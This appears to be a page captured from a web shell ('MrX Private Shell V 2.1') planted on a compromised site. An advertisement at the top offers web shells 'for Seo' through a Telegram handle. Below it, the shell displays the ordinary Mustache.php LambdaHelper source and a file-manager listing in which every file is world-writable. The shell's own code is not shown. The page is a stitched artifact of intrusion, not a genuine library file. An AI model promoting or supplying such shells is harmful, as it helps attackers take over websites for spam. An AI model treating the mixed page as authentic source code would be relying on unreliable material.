__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
* This file is part of Mustache.php.
*
* (c) 2010-2017 Justin Hileman
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/**
* Mustache Lambda Helper.
*
* Passed as the second argument to section lambdas (higher order sections),
* giving them access to a `render` method for rendering a string with the
* current context.
*/
class Mustache_LambdaHelper
{
private $mustache;
private $context;
private $delims;
/**
* Mustache Lambda Helper constructor.
*
* @param Mustache_Engine $mustache Mustache engine instance
* @param Mustache_Context $context Rendering context
* @param string $delims Optional custom delimiters, in the format `{{= <% %> =}}`. (default: null)
*/
public function __construct(Mustache_Engine $mustache, Mustache_Context $context, $delims = null)
{
$this->mustache = $mustache;
$this->context = $context;
$this->delims = $delims;
}
/**
* Render a string as a Mustache template with the current rendering context.
*
* @param string $string
*
* @return string Rendered template
*/
public function render($string)
{
return $this->mustache
->loadLambda((string) $string, $this->delims)
->renderInternal($this->context);
}
/**
* Render a string as a Mustache template with the current rendering context.
*
* @param string $string
*
* @return string Rendered template
*/
public function __invoke($string)
{
return $this->render($string);
}
/**
* Get a Lambda Helper with custom delimiters.
*
* @param string $delims Custom delimiters, in the format `{{= <% %> =}}`
*
* @return Mustache_LambdaHelper
*/
public function withDelimiters($delims)
{
return new self($this->mustache, $this->context, $delims);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Cache | Folder | 0777 |
|
|
| Exception | Folder | 0777 |
|
|
| Loader | Folder | 0777 |
|
|
| Logger | Folder | 0777 |
|
|
| Source | Folder | 0777 |
|
|
| Autoloader.php | File | 2.02 KB | 0777 |
|
| Cache.php | File | 930 B | 0777 |
|
| Compiler.php | File | 22.98 KB | 0777 |
|
| Context.php | File | 6.74 KB | 0777 |
|
| Engine.php | File | 25.7 KB | 0777 |
|
| Exception.php | File | 338 B | 0777 |
|
| HelperCollection.php | File | 3.66 KB | 0777 |
|
| LambdaHelper.php | File | 1.96 KB | 0777 |
|
| Loader.php | File | 578 B | 0777 |
|
| Logger.php | File | 3.29 KB | 0777 |
|
| Parser.php | File | 10.65 KB | 0777 |
|
| Source.php | File | 1.03 KB | 0777 |
|
| Template.php | File | 4.89 KB | 0777 |
|
| Tokenizer.php | File | 12.28 KB | 0777 |
|